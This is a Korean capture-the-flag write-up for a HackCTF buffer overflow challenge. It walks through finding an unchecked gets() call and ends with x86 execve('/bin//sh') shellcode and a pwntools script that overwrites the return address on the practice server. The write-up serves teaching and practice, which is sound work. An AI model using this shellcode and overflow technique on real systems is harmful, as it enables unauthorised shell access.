[HackCTF] 내 버퍼가 흘러넘친다!!! 풀이 (150p)
Wargame/HackCTF

[HackCTF] 내 버퍼가 흘러넘친다!!! 풀이 (150p)

문제 종류 - HackCTF
사용한 툴 - IDA

nc ctf.j0n9hyun.xyz 3003

 

풀이

나는 FSB가 더 어려웠는데 이게 150점이네?

먼저 IDA로 파일을 열어보자.

이번에는 특별한 함수 없이 main 함수만 존재한다.

Name과 input을 입력받는 프로그램인 듯하다. gdb로 열어보도록 하자.

gets는 버퍼 오버플로우를 유발시키기 정말 좋은 함수다.

총 20칸의 버퍼를 생성하니까, buf[20] + SFP[4] + RET[4] 총 28byte의 페이로드를 작성하면 될 듯하다.

 

이번 문제에서는 따로 쉘을 열어주는 함수가 없으니 쉘코드를 Name에 적어주고, RET를 Name의 시작 주소로 덮어버리면 쉘이 툭 하고 튀어 나오지 않을까..? 쉘코드는 구글링하면 나오지만, 그냥 여기다가도 적어두겠다.

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

페이로드의 buf 부분은 A, SFP 부분은 B로 표시하였다.

  1 from pwn import *
  2
  3 p = remote('ctf.j0n9hyun.xyz',3003)
  4
  5 payload = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80'
  6 address = 'A'*20 + 'B'*4 + '\x60\xa0\x04\x08'
  7
  8 p.recvuntil('Name : ')
  9 p.sendline(payload)
 10 p.recvuntil('input : ')
 11 p.sendline(address)
 12
 13 p.interactive()